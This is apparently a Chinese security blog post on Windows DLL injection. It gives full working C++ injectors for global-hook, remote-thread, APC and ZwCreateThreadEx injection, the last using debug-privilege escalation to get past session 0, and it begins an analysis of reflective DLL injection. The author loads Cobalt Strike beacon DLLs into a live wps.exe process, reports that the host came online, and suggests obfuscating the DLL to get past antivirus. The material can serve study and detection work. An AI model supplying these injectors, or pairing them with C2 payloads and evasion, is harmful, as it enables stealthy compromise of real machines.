• 实现原理


    是通过注入 dll(动态链接库)向一个正在运行的进程插入/注入代码的过程,当然除了 dll 也可以是其他形式(任何PE文件、shellcode / assembly等),dll 注入操作有其合法目的,像杀软动态检测进程的行为,就是通过 dll 注入实现的。
    注入流程 :
    image-20220324162320245
    1.附加到目标进程
    2.在目标进程内分配内存
    3.将 dll 路径或 dll 复制到目标内存中
    4.让进程执行 dll
    
  • 全局钩子注入


    windows 中的钩子就是一种拦截实践并采取行动的方式,钩子的实现原理是基于 windows 的消息机制,程序根据不同消息完成不同功能,而钩子就可以截获和监视系统中的这些消息,最常见钩子的就是 WH_KEYBOARD 和 WH_MOUSE,分别用来监控键盘和鼠标输入。
    局部钩子通常用于某个线程,而全局钩子通过 dll 文件实现。
    利用 SetWindowsHookEx 函数实现(将应用程序定义的钩子装到钩子链中)
    HHOOK WINAPI SetWindowsHookEx(
      _In_ int       idHook,    // 钩子类型
      _In_ HOOKPROC  lpfn,      // 回调函数地址
      _In_ HINSTANCE hMod,      // 实例句柄
      _In_ DWORD     dwThreadId // 线程 ID
    );
    

    执行成功则返回钩子的句柄,如果失败返回 NULL。
    当 SetWindowsHookEx 函数调用成功后,当某个进程生成这一类型的消息时,操作系统会判断这个进程是否被安装了钩子,如果安装了钩子,操作系统会将相关的 dl l文件强行注入到这个进程中并将该 dl l的锁计数器递增 1。然后再调用安装的钩子函数。
    实现的全局钩子可以用 WH_GETMESSAGE 消息,因为 WH_GETMESSAGE 类型的钩子会监视消息队列,windows 中的每个进程都会维护自己的消息队列(消息驱动的实现),那么就都会加载 WH_GETMESSAGE 类型的全局钩子DLL。
    被注入的 dll 的实现,首先是设置全局钩子
    BOOL SetHook()
    {
        g_Hook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0);
        // GetMsgProc 是回调函数,在后续实现
        if (g_Hook == NULL)
        {
            return FALSE;
        }
    
        return TRUE;
    }
    

    GetMsgProc 中要用 CallNextHookEx 函数决定继续执行下一个钩子(第一个参数为钩子句柄)还是对当前钩子进行拦截(第一个参数为 0)
    LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
    {
        return ::CallNextHookEx(g_Hook, code, wParam, lParam);
    }
    

    然后还要设置取消钩子
    BOOL UnsetHook()
    {
        if (g_Hook)
        {
            ::UnhookWindowsHookEx(g_Hook);
        }
    }
    

    此外还要设置进程间通信,这里是通过共享内存实现的
    #pragma data_seg("mydata")
    HHOOK g_hHook = NULL;
    #pragma data_seg()
    #pragma comment(linker, "/SECTION:mydata,RWS")
    

    用 vs 新建一个 dll 项目,首先是 pch.h 文件,声明定义的都是裸函数,由我们自己平衡堆栈
    extern "C" _declspec(dllexport) int SetHook();
    extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
    extern "C" _declspec(dllexport) BOOL UnsetHook();
    

    在 pch.cpp 中写入上面提到的函数,然后在 dllmain.cpp 中设置 DLL_PROCESS_ATTACH。
    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
    HMODULE g_hDllModule = NULL;
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH: 
        {
            g_hDllModule = hModule;
            break;
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    再创建一个用于被注入的进程,用 LoadLibraryW 加载 dll
    // GolbalInjectDLL.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    //
    
    #include <iostream>
    #include <Windows.h>
    
    int main()
    {
        typedef BOOL(*typedef_SetGlobalHook)();
        typedef BOOL(*typedef_UnsetGlobalHook)();
        HMODULE hDll = NULL;
        typedef_SetGlobalHook SetGlobalHook = NULL;
        typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
        BOOL bRet = FALSE;
    
        do
        {
            hDll = ::LoadLibraryW(TEXT("F:\\vs_project\\DLLInjector\\DLLInjector\\Debug\\DLLInjector.dll"));
            if (NULL == hDll)
            {
                printf("LoadLibrary Error[%d]\n", ::GetLastError());
                break;
            }
    
            SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
            if (NULL == SetGlobalHook)
            {
                printf("GetProcAddress Error[%d]\n", ::GetLastError());
                break;
            }
            bRet = SetGlobalHook();
            if (bRet)
            {
                printf("SetGlobalHook OK.\n");
            }
            else
            {
                printf("SetGlobalHook ERROR.\n");
            }
    
            system("pause");
    
            UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
            if (NULL == UnsetGlobalHook)
            {
                printf("GetProcAddress Error[%d]\n", ::GetLastError());
                break;
            }
            UnsetGlobalHook();
            printf("UnsetGlobalHook OK.\n");
        } while (FALSE);
        system("pause");
        return 0;
    }
    

    在 GolbalInjectDLL 进程中看到了注入的 DLLInject.dll
    image-20220324185643570
    注意,32位的 dll 不能被注入到 64 位的进程中,同样,64 位的 dll 也不饿能被注入到 32 位进程中。
    这种方式的优点是注入简单,缺点就是只能针对 windows 消息进程 Hook 并注入 dll,而注入可能不是瞬发(基于注入时选择的消息类型),而且不能进行其他 api 的 Hook,如果想对其它的函数进行 Hook,你需要再在被注入的dll中添加用于 API Hook 的代码。
  • 远程线程注入


    测试用的 dll 文件
    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
        case DLL_THREAD_ATTACH:
            MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    首先要得到与之进行交互的进程的句柄,可以通过 CreateToolhelp32Snapshot 拍摄进程快照获取 pid,再通过 Openprocess 连接到目标进程。
    // 通过进程快照获取PID
    DWORD _GetProcessPID(LPCTSTR lpProcessName)
    {
          DWORD Ret = 0;
          PROCESSENTRY32 p32;
    
          HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
          if (lpSnapshot == INVALID_HANDLE_VALUE)
          {
              printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
    
              return Ret;
          }
    
          p32.dwSize = sizeof(PROCESSENTRY32);
          ::Process32First(lpSnapshot, &p32);
    
          do {
              if (!lstrcmp(p32.szExeFile, lpProcessName))
              {
                  Ret = p32.th32ProcessID;
                  break;
              }
          } while (::Process32Next(lpSnapshot, &p32));
    
          ::CloseHandle(lpSnapshot);
          return Ret;
    }
    

    用 OpenProcess 打开进程,
    hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
    

    其中 OpenProcess 的定义,第一个参数是设置访问权限,可参考 https://docs.microsoft.com/zh-cn/windows/win32/procthread/process-security-and-access-rights?redirectedfrom=MSDN
    HANDLE WINAPI OpenProcess(
      _In_ DWORD dwDesiredAccess,
      _In_ BOOL  bInheritHandle,
      _In_ DWORD dwProcessId    // pid
    );
    

    连接之后需要给 dll 路径分配内存,VirtualAllocEx 函数可以实现预留、提交或更改指定进程的虚拟地址空间内的内存区域的状态。该函数将其分配的内存初始化为零。(也可以通过 GetFullPathName 实现)
    pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
    

    函数定义:
    LPVOID WINAPI VirtualAllocEx(
      _In_     HANDLE hProcess,     // 申请内存所在的进程句柄
      _In_opt_ LPVOID lpAddress,    // 保留页面的内存地址,一般设置为 NULL 自动分配
      _In_     SIZE_T dwSize,       // 要分配的内存大小
      _In_     DWORD  flAllocationType, // 分配方式
      _In_     DWORD  flProtect     // 设置权限
    );
    

    然后调用 WriteProcessMemory 函数把 dll 写入内存
    Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
    

    其中 WriteProcessMemory 的定义
    BOOL WriteProcessMemory(
      HANDLE  hProcess,         //进程句柄
      LPVOID  lpBaseAddress,    //写入的内存首地址
      LPCVOID lpBuffer,         //要写数据的指针
      SIZE_T  nSize,            //x
      SIZE_T  *lpNumberOfBytesWritten
    );
    

    之后就是创建线程并等待执行结束,可以通过 CreateRemoteThread 实现,等待线程函数结束则通过 WaitForSingleObject(第二个参数设为 -1 一直等待)
    //在另一个进程中创建线程
    hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
    
    //等待线程函数结束,获得退出码
    WaitForSingleObject(hThread, -1);
    GetExitCodeThread(hThread, &DllAddr);
    

    完整的实现:
    // RemoteThreadInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    //
    
    #include <iostream>
    #include <windows.h>
    #include <TlHelp32.h>
    #include "tchar.h"
    char string_inject[] = "F:\\C++\\Inject\\Inject\\Debug\\Inject.dll";
    
    //通过进程快照获取PID
    DWORD _GetProcessPID(LPCTSTR lpProcessName)
    {
          DWORD Ret = 0;
          PROCESSENTRY32 p32;
    
          HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
          if (lpSnapshot == INVALID_HANDLE_VALUE)
          {
              printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
    
              return Ret;
          }
    
          p32.dwSize = sizeof(PROCESSENTRY32);
          ::Process32First(lpSnapshot, &p32);
    
          do {
              if (!lstrcmp(p32.szExeFile, lpProcessName))
              {
                  Ret = p32.th32ProcessID;
                  break;
              }
          } while (::Process32Next(lpSnapshot, &p32));
    
          ::CloseHandle(lpSnapshot);
          return Ret;
    }
    
     //打开一个进程并为其创建一个线程
    DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
    {
             //打开进程
             HANDLE hprocess;
             HANDLE hThread;
             DWORD _Size = 0;
             BOOL Write = 0;
             LPVOID pAllocMemory = NULL;
             DWORD DllAddr = 0;
             FARPROC pThread;
    
             hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
             //Size = sizeof(string_inject);
             _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
    
             //远程申请空间
             pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
    
             if (pAllocMemory == NULL)
                 {
                     printf("VirtualAllocEx - Error!");
                     return FALSE;
                 }
    
             // 写入内存
             Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
    
             if (Write == FALSE)
                 {
                     printf("WriteProcessMemory - Error!");
                     return FALSE;
                 }
    
    
             //获取LoadLibrary的地址
             pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
             LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
    
             //在另一个进程中创建线程
             hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
    
             if (hThread == NULL)
                 {
                     printf("CreateRemoteThread - Error!");
                     return FALSE;1
                 }
    
             //等待线程函数结束,获得退出码
             WaitForSingleObject(hThread, -1);
             GetExitCodeThread(hThread, &DllAddr);
    
             //释放DLL空间
             VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
    
             //关闭线程句柄
             ::CloseHandle(hprocess);
             return TRUE;
    }
     int main()
    {
         DWORD PID = _GetProcessPID(L"test.exe");
         _RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll");
    }
    

    image-20220405175005943
    远程线程注入的实现除了使用 CreateRemoteThread 函数实现,还可以用 NtCreateThreadEx / RtlCreateUserThread 实现,NtCreateThreadEx 详情参阅 https://securityxploded.com/ntcreatethreadex.php,而 RtlCreateUserThread 则可以看作对 NtCreateThreadEx 的封装,在 mimikatz 和 meterpreter 中都使用了这个 api。
  • APC 注入


    Asynchronous Procedure Call,即异步过程调用。当往线程的 APC 队列添加 APC 的时候,系统会产生一个软中断,在线程下一次被调度的时候,就会执行 APC 函数。
    实现流程:
    1.当 EXE 里某个线程执行到 SleepEx() 或者 WaitForSingleObjectEx() 时,系统就会产生一个软中断(或者是 Messagebox 弹窗的时候不点 OK 的时候也能注入)
    2.当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数
    3.利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
    

    限制条件:
    1.必须是多线程环境
    2.注入的程序会调用那些同步的对象
    

    有这两个限制的原因也很简单,APC 队列中函数的调用需要一个线程从挂起状态到可通知状态才会执行,所以需要 SleepEx 这类函数先实现线程的挂起,但单线程程序一般不存在挂起状态,所以 APC 注入对单线程程序就没有明显的效果。
    其实。本质上还是远程线程注入,但是不需要创建新的线程,而是直接劫持目标进程中的现有线程。也就是说,调用此函数将在指定的线程上对异步过程调用进行排队。
    实现的时候,首先要根据进程名获取 pid 函数,然后再根据这个 pid 获取所有线程的 id
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
    
    while (bRet)
        {
            if (th32.th32OwnerProcessID == th32ProcessID)
            {
                if (dwThreadIdListLength >= dwThreadIdListMaxCount)
                {
                    break;
                }
                pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
            }
            bRet = Thread32Next(hThreadSnap, &th32);
        }
    

    APCInject 的注入过程同样也遵循前面线程注入的流程,不同的操作就是需要遍历线程并插入 APC,如果 QueueUserAPC 返回的值为 NULL 则线程遍历失败,fail 的值就 +1
    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
        {
            // 打开线程
            HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
            if (hThread)
            {
                // 插入APC
                if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
                {
                    fail++;
                }
            }
        }
    

    完整实现:
    #include <iostream>
    #include <Windows.h>
    #include <TlHelp32.h>
    using namespace std;
    
    void ShowError(const char* pszText)
    {
        char szError[MAX_PATH] = { 0 };
        ::wsprintfA(szError, "%s Error[%d]\n", pszText, ::GetLastError());
        ::MessageBoxA(NULL, szError, "ERROR", MB_OK);
    }
    
    //列出指定进程的所有线程
    BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
    {
        // 申请空间
        DWORD dwThreadIdListLength = 0;
        DWORD dwThreadIdListMaxCount = 2000;
        LPDWORD pThreadIdList = NULL;
        HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
    
        pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (pThreadIdList == NULL)
        {
            return FALSE;
        }
    
        RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
    
        THREADENTRY32 th32 = { 0 };
    
        // 拍摄快照
        hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
    
        if (hThreadSnap == INVALID_HANDLE_VALUE)
        {
            return FALSE;
        }
    
        // 结构的大小
        th32.dwSize = sizeof(THREADENTRY32);
    
        //遍历所有THREADENTRY32结构, 按顺序填入数组
    
        BOOL bRet = Thread32First(hThreadSnap, &th32);
        while (bRet)
        {
            if (th32.th32OwnerProcessID == th32ProcessID)
            {
                if (dwThreadIdListLength >= dwThreadIdListMaxCount)
                {
                    break;
                }
                pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
            }
            bRet = Thread32Next(hThreadSnap, &th32);
        }
    
        *pThreadIdListLength = dwThreadIdListLength;
        *ppThreadIdList = pThreadIdList;
    
        return TRUE;
    }
    BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
    {
        // 申请内存
    
        PVOID lpAddr = NULL;
        SIZE_T page_size = 4096;
    
        lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
        if (lpAddr == NULL)
        {
            ShowError("VirtualAllocEx - Error\n\n");
            VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
            CloseHandle(hProcess);
            return FALSE;
        }
        // 把Dll的路径复制到内存中
        if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
        {
            ShowError("WriteProcessMemory - Error\n\n");
            VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
            CloseHandle(hProcess);
            return FALSE;
        }
    
        // 获得LoadLibraryA的地址
        PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    
        // 遍历线程, 插入APC
        float fail = 0;
        for (int i = dwThreadIdListLength - 1; i >= 0; i--)
        {
            // 打开线程
            HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
            if (hThread)
            {
                // 插入APC
                if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
                {
                    fail++;
                }
                // 关闭线程句柄
                ::CloseHandle(hThread);
                hThread = NULL;
            }
        }
    
        printf("Total Thread: %d\n", dwThreadIdListLength);
        printf("Total Failed: %d\n", (int)fail);
    
        if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
        {
            printf("Success to Inject APC\n");
            return TRUE;
        }
        else
        {
            printf("Inject may be failed\n");
            return FALSE;
        }
    }
    int main()
    {
        ULONG32 ulProcessID = 0;
        printf("Input the Process ID:");
        cin >> ulProcessID;
        CHAR wzDllFullPath[MAX_PATH] = { 0 };
        LPDWORD pThreadIdList = NULL;
        DWORD dwThreadIdListLength = 0;
    
    #ifndef _WIN64
        strcpy_s(wzDllFullPath, "D:\\tmp\\beacon.dll");
    #else // _WIN64
        strcpy_s(wzDllFullPath, "D:\\tmp\\beacon.dll");
    #endif
        if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
        {
            printf("Can not list the threads\n");
            exit(0);
        }
        //打开句柄
        HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
    
        if (hProcess == NULL)
        {
            printf("Failed to open Process\n");
            return FALSE;
        }
    
        //注入
        if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
        {
            printf("Failed to inject DLL\n");
            return FALSE;
        }
        return 0;
    }
    
  • 突破 session 0 的远程线程注入


    利用了 ZwCreateThreadEx 这个函数,ZwCreateThreadEx 是 CreateRemoteThread 的底层实现。在 windows 内核 6.0 (win7,8 之后)引入了会话隔离机制,创建一个进程之后不会立即运行,而是先挂起进程,再查看要运行进程所在的会话层再决定是否恢复进程运行。
    再 windows XP,windows server 2003 包括之前的版本中,服务和应用程序使用相同的会话(session)运行,这个 session 由第一个登录到控制台的用户启动,也就是 session 0。把服务和用户程序都放在 session 0 中运行存在安全风险,因为服务的权限通常会高于用户权限,这样的话如果用户劫持了某个服务,就可以提权。
    从 Windows Vista 开始,只有服务可以托管到 session 0 中,而用户程序则会创建在用户对应的 session 中。
    image-20220405195020621
    需要用到的 api:
    ZwCreateThreadEx(32 位)
    DWORD WINAPI ZwCreateThreadEx(
             PHANDLE ThreadHandle,
             ACCESS_MASK DesiredAccess,
             LPVOID ObjectAttributes,
             HANDLE ProcessHandle,
             LPTHREAD_START_ROUTINE lpStartAddress,
             LPVOID lpParameter,
             BOOL CreateSuspended,
             DWORD dwStackSize,
             DWORD dw1,
             DWORD dw2,
             LPVOID pUnkown);
    

    ZwCreateThreadEx(64 位)
    DWORD WINAPI ZwCreateThreadEx(
             PHANDLE ThreadHandle,
             ACCESS_MASK DesiredAccess,
             LPVOID ObjectAttributes,
             HANDLE ProcessHandle,
             LPTHREAD_START_ROUTINE lpStartAddress,
             LPVOID lpParameter,
             ULONG CreateThreadFlags,
             SIZE_T ZeroBits,
             SIZE_T StackSize,
             SIZE_T MaximumStackSize,
             LPVOID pUnkown);
    

    进入 session 0 还需要用到几个提权的函数
    OpenProcessToken
    BOOL OpenProcessToken(
    __in HANDLE ProcessHandle, //要修改访问权限的进程句柄
    __in DWORD DesiredAccess, //指定你要进行的操作类型
    __out PHANDLE TokenHandle //返回的访问令牌指针
    );
    

    LookupPrivilegeValueA
    BOOL LookupPrivilegeValueA(
      LPCSTR lpSystemName, //要查看的系统,本地系统直接用NULL
      LPCSTR lpName,    //指向一个以零结尾的字符串,指定特权的名称
      PLUID  lpLuid     //用来接收所返回的制定特权名称的信息
    );
    

    AdjustTokenPrivileges
    BOOL AdjustTokenPrivileges(
        HANDLE TokenHandle, //包含特权的句柄
        BOOL DisableAllPrivileges,//禁用所有权限标志
        PTOKEN_PRIVILEGES NewState,//新特权信息的指针(结构体)
        DWORD BufferLength, //缓冲数据大小,以字节为单位的PreviousState的缓存区(sizeof)
        PTOKEN_PRIVILEGES PreviousState,//接收被改变特权当前状态的Buffer
        PDWORD ReturnLength //接收PreviousState缓存区要求的大小
    );
    

    实现过程:
    这次是要注入系统权限的 exe,需要用到 debug 权限,首先要提权:
    // 提权函数
    BOOL EnableDebugPrivilege()
    {
        HANDLE hToken;
        BOOL fOk = FALSE;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
        {
            TOKEN_PRIVILEGES tp;
            tp.PrivilegeCount = 1;
            LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    
            fOk = (GetLastError() == ERROR_SUCCESS);
            CloseHandle(hToken);
        }
        return fOk;
    
    }
    

    之前获得回显都是用 MessageBox 弹一个窗口,但系统程序不能现实程序的窗体,这里用一个 ShowError 获取错误码。
    void ShowError(const char* pszText)
    {
        char szError[MAX_PATH] = { 0 };
        ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
        ::MessageBox(NULL, szError, "ERROR", MB_OK);
    }
    

    然后和远程线程注入的流程相同,获取句柄,申请内存,写入内存,获取函数地址,创建远程线程。不同的是 ZwCreateThreadEx 在 ntdll.dll 中没有声明,所以需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。
    完整代码:
    #include <Windows.h>
    #include <stdio.h>
    #include <iostream>
    
    #ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
    #else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
    #endif
    
    void ShowError(const char* pszText)
    {
        char szError[MAX_PATH] = { 0 };
        ::wsprintfA(szError, "%s Error[%d]\n", pszText, ::GetLastError());
        ::MessageBoxA(NULL, szError, "ERROR", MB_OK);
    }
    
    // 提权函数
    BOOL EnableDebugPrivilege()
    {
        HANDLE hToken;
        BOOL fok = FALSE;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
        {
            TOKEN_PRIVILEGES tp;
            tp.PrivilegeCount = 1;
            LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    
            fok = (GetLastError() == ERROR_SUCCESS);
            CloseHandle(hToken);
        }
        return fok;
    }
    
    // 使用 zwCreateThreadEx 实现远线程注入
    BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
    {
        HANDLE hProcess = NULL;
        SIZE_T dwSize = 0;
        LPVOID pDllAddr = NULL;
        FARPROC pFuncProcAddr = NULL;
        HANDLE hRemoteThread = NULL;
        DWORD dwStatus = 0;
    
        EnableDebugPrivilege();
    
        // 打开注入进程,获取进程句柄
        hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
        if (hProcess == NULL)
        {
            printf("OpenProcess - Error!\n\n");
            return -1;
        }
        
        // 在注入的进程中申请内存
        dwSize = ::lstrlenA(pszDllFileName) + 1;
        pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
        if (NULL == pDllAddr)
        {
            ShowError("VirtualAllocEx - Error!\n\n");
            return FALSE;
        }
    
        // 写入内存地址
        if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
        {
            ShowError("WriteProcessMemory - Error!\n\n");
            return FALSE;
        }
    
        // 加载 dll
        HMODULE hNtdllDll = ::LoadLibraryA("ntdll.dll");
        if (NULL == hNtdllDll)
        {
            ShowError("LoadLirbary");
            return FALSE;
        }
    
        // 获取 LoadLibraryA 函数地址
        pFuncProcAddr = ::GetProcAddress(::GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
        if (NULL == pFuncProcAddr)
        {
            ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
            return FALSE;
        }
    
        // 获取 ZwCreateThreadEx 函数地址
        typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
        if (NULL == ZwCreateThreadEx)
        {
            ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
            return FALSE;
        }
    
        // 使用 ZwCreateThreadEx 创建远程线程,实现 dll 注入
        dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
        if (NULL == ZwCreateThreadEx)
        {
            ShowError("ZwCreateThreadEx - Error!\n\n");
            return FALSE;
        }
        
        // 关闭句柄
        ::CloseHandle(hProcess);
        ::FreeLibrary(hNtdllDll);
    
        return TRUE;
    }
    
    int main(int argc, char* argv[])
    {
        // dll 换成 cs 的 dll,pid 换成被注入进程的 pid
    #ifdef _WIN64
        BOOL bRet = ZwCreateThreadExInjectDll(58808, "D:\\tmp\\artifact.dll");
    #else 
        BOOL bRet = ZwCreateThreadExInjectDll(58808, "D:\\tmp\\artifact.dll");
    #endif
        if (FALSE == bRet)
        {
            printf("Inject Dll Error!\n\n");
        }
        printf("Inject Dll OK!\n\n");
        return 0;
    }
    

    这里选择注入 wps.exe 进程,dll 用 cs 生成,运行程序直接上线(联想电脑管家报了,后续可以考虑对这个 dll 做混淆)
    tasklist /svc | findstr "wps.exe"
    

    image-20220405221729546
  • 反射 dll 注入


    常规 dll 注入的一个缺陷就是需要恶意 dll 以文件的形式存储到受害主机上,会留下痕迹,容易被检测到,而反射 dll 注入可以是恶意的 dll 通过 socket 等方式传输到目标进程,无文件落地。
    反射 dll 注入的流程和普通的远程线程注入流程相似,不同之处在于加载 dll 方式,是通过自己实现的一个 reflective loader() 函数来代替 LoadLibraryA() 去加载 dll,Reflective loader 实现思路如下:
    1.获得被注入进程未解析的 dll 的基地址
    2.获得必要的 dll 句柄和函数为修复导入表做准备
    3.分配一块新内存去解析 dll,并把 PE 头复制和各节到新内存中
    4.修复导入表和重定向表
    5.执行 dllmain() 函数
    

    图中红框中的行为:
    image-20220406170808728
    meterpreter 连上之后可以用 migrate 命令迁移进程,实现的原理就是反射型 dll 注入,migrate 模块的 reflective loader 直接服用了 https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c 中的 ReflectiveLoader() 函数。
    关于 migrate 的实现,前半部分就是之前文章中写过的 msf ?的实现过程,在 msf?收到 migrate 和 payload 之后,首先向被迁移的目标进程分配一块内存,并会创建远程执行 migrate stub,如果失败了,就会尝试用 apc 注入的方式执行 migrate stub,migrate stub 会调用 meterpreter loader,meterpreter loader 调用 reflective loader 进行反射式 dll 注入。
    image-20220406183932689
    静态分析:

    (PE 文件结构不是很熟,只是勉强能看懂,这里基本都是引用参考文献)
    • Step 0: 计算基地址
      首先调用 caller 函数,这个函数是对 _ReturnAddress() 的封装。在这里是为了获取 caller 函数的下一条指令的地址
      uiLibraryAddress = caller();
      // 跟进查看
      __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
      

      然后向低地址逐字节查看是否有 dos头 的 MZ 字符串标识,若找到则把当前的地址认为是 dos 头结构体的开头,并校验 dos 头 e_lfanew 的成员是否指向 PE 头的标识字段(PE),如果两个校验都通过,则任务当前地址是 dos 头结构体的开头。
       while( TRUE )
          {
              // 将当前地址看作 dos 结构体的起始地址,看一下结构体的 e_magic 字段是否指向 MZ
